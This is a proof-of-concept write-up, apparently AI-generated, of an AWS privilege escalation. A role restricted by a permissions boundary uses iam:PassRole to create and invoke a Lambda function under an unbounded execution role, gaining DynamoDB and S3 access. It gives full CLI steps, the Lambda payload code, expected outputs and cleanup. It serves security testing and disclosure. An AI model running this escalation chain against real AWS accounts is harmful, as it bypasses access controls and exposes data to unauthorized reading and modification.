Post

AI PoC: Permissions Boundary Escape via Lambda PassRole

AI PoC: Permissions Boundary Escape via Lambda PassRole

Permissions Boundary Escape via Lambda PassRole

Finding: F1 + F2 · CRITICAL · CONFIRMED 5/5
Claim IDs: adhoc-20260415-boundary-passrole-unrestrictedadhoc-20260415-boundary-lambda-bypass
Technique: MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism)
Risk: Attacker operating within the platform-restricted-admin-production boundary escapes it entirely, gaining DynamoDB full CRUD and S3 read across the account


Prerequisites

  • Current access: arn:aws:iam::123456789012:role/platform-restricted-admin-production (EC2 instance profile or equivalent session)
  • Required permissions (all allowed by the boundary):
    • lambda:CreateFunction
    • lambda:InvokeFunction
    • iam:PassRole (Resource: *)
  • Target execution role: arn:aws:iam::123456789012:role/svc-data-processor-exec-production (trusts lambda.amazonaws.com, no boundary, has DynamoDB write + S3 read on *)
  • Region: ap-southeast-2 (or any enabled region — Lambda and IAM roles are region-scoped for execution but roles are global)

Steps to Reproduce

Step 1: Confirm current identity and boundary constraint

Purpose: Verify you are operating as the boundary-restricted role and confirm DynamoDB is blocked by the boundary

1
2
3
4
5
# Verify identity
aws sts get-caller-identity

# Confirm boundary blocks DynamoDB (expect AccessDenied)
aws dynamodb list-tables --region ap-southeast-2

Expected output:

1
2
3
4
5
6
7
8
9
# get-caller-identity shows platform-restricted-admin-production
{
    "UserId": "AROA...:i-...",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/platform-restricted-admin-production/i-..."
}

# list-tables returns AccessDenied — boundary does not include dynamodb:*
An error occurred (AccessDeniedException) when calling the ListTables operation: ...

Step 2: Create the escalation payload

Purpose: Build a Lambda function that proves execution as the target role AND demonstrates access to DynamoDB (which the boundary blocks)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cat > /tmp/poc-boundary-bypass.py << 'PYEOF'
import boto3
import json

def handler(event, context):
    results = {}

    # Prove we are running as the target execution role (outside the boundary)
    sts = boto3.client("sts")
    results["identity"] = sts.get_caller_identity()

    # Prove DynamoDB access — this is blocked by the boundary but allowed
    # for the execution role, proving the boundary has been escaped
    dynamodb = boto3.client("dynamodb", region_name="ap-southeast-2")
    try:
        tables = dynamodb.list_tables()
        results["dynamodb_tables"] = tables["TableNames"]
        results["dynamodb_access"] = "SUCCESS — boundary bypassed"
    except Exception as e:
        results["dynamodb_access"] = f"FAILED: {str(e)}"

    # Prove S3 read access scope
    s3 = boto3.client("s3")
    try:
        buckets = s3.list_buckets()
        results["s3_buckets"] = [b["Name"] for b in buckets["Buckets"]]
        results["s3_access"] = "SUCCESS"
    except Exception as e:
        results["s3_access"] = f"FAILED: {str(e)}"

    return {"statusCode": 200, "body": json.dumps(results, default=str)}
PYEOF

cd /tmp && zip poc-boundary-bypass.zip poc-boundary-bypass.py

Expected output:

1
  adding: poc-boundary-bypass.py (deflated ...)

Step 3: Create Lambda function with the unbounded execution role

Purpose: Use iam:PassRole (allowed by boundary on *) to pass svc-data-processor-exec-production to a new Lambda function. The Lambda will execute as that role — outside the boundary.

1
2
3
4
5
6
7
8
aws lambda create-function \
  --function-name poc-boundary-bypass-test \
  --runtime python3.12 \
  --handler poc-boundary-bypass.handler \
  --role arn:aws:iam::123456789012:role/svc-data-processor-exec-production \
  --zip-file fileb:///tmp/poc-boundary-bypass.zip \
  --timeout 30 \
  --region ap-southeast-2

Expected output:

1
2
3
4
5
6
7
{
    "FunctionName": "poc-boundary-bypass-test",
    "FunctionArn": "arn:aws:lambda:ap-southeast-2:123456789012:function:poc-boundary-bypass-test",
    "Role": "arn:aws:iam::123456789012:role/svc-data-processor-exec-production",
    "Runtime": "python3.12",
    "Handler": "poc-boundary-bypass.handler"
}

Step 4: Invoke Lambda to execute outside the boundary

Purpose: Trigger the function. It runs as svc-data-processor-exec-production — no boundary applies. This proves the boundary-restricted principal can access DynamoDB (and any other permission the execution role has) by delegating through Lambda.

1
2
3
4
5
6
aws lambda invoke \
  --function-name poc-boundary-bypass-test \
  --region ap-southeast-2 \
  /tmp/poc-bypass-output.json

cat /tmp/poc-bypass-output.json | python3 -m json.tool

Expected output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "statusCode": 200,
    "body": {
        "identity": {
            "UserId": "AROA...:poc-boundary-bypass-test",
            "Account": "123456789012",
            "Arn": "arn:aws:sts::123456789012:assumed-role/svc-data-processor-exec-production/poc-boundary-bypass-test"
        },
        "dynamodb_tables": ["table1", "table2"],
        "dynamodb_access": "SUCCESS — boundary bypassed",
        "s3_buckets": ["bucket1", "bucket2"],
        "s3_access": "SUCCESS"
    }
}

Key proof: The identity shows svc-data-processor-exec-production, not platform-restricted-admin-production. The dynamodb_access: SUCCESS proves the boundary was escaped — the same dynamodb:ListTables call that returned AccessDeniedException in Step 1 now succeeds.


Step 5: Verify escalation

Purpose: Confirm the boundary is the only thing that changed — same account, same origin, but different effective permissions

1
2
3
4
5
6
7
8
9
# From your original session (still boundary-restricted):
aws sts get-caller-identity
# Shows: platform-restricted-admin-production — boundary still applies here

# But the Lambda executed as svc-data-processor-exec-production with:
# - dynamodb:GetItem, PutItem, Query, Scan, UpdateItem, DeleteItem, BatchWriteItem on *
# - s3:GetObject, s3:ListBucket on *
# - logs:CreateLogGroup, CreateLogStream, PutLogEvents on *
# None of these DynamoDB actions are in the boundary's allow list.

Cleanup

Run these commands to reverse all changes made during testing:

1
2
3
4
5
6
7
8
9
# Delete the PoC Lambda function
aws lambda delete-function \
  --function-name poc-boundary-bypass-test \
  --region ap-southeast-2

# Remove local temp files
rm -f /tmp/poc-boundary-bypass.py \
      /tmp/poc-boundary-bypass.zip \
      /tmp/poc-bypass-output.json

Verify cleanup:

1
2
3
4
5
6
# Confirm function is deleted (expect ResourceNotFoundException)
aws lambda get-function \
  --function-name poc-boundary-bypass-test \
  --region ap-southeast-2

# Expected: An error occurred (ResourceNotFoundException)

Evidence Chain

StepSourceEvidence
Boundary policyadhoc-20260415-boundary-passrole-unrestrictediam:PassRole with Resource: "*" confirmed in platform-admin-boundary-production v1
Lambda allowedadhoc-20260415-boundary-lambda-bypasslambda:* confirmed in boundary AllowComputeAndStorage statement
Target role trustCLI: get-rolesvc-data-processor-exec-production trusts lambda.amazonaws.com, no PermissionsBoundary
Target role permsCLI: get-policy-versionsvc-data-processor-policy-production grants DynamoDB full CRUD on *, S3 read on *
Boundary excludes DynamoDBCLI: get-policy-versionBoundary only allows ec2/s3/logs/cloudwatch/lambda + 5 IAM read/pass actions — no dynamodb:*
Attack pathChain analysisF1 (unrestricted PassRole) → F2 (Lambda bypass) = IMMEDIATELY EXPLOITABLE
This post is licensed under CC BY 4.0 by the author.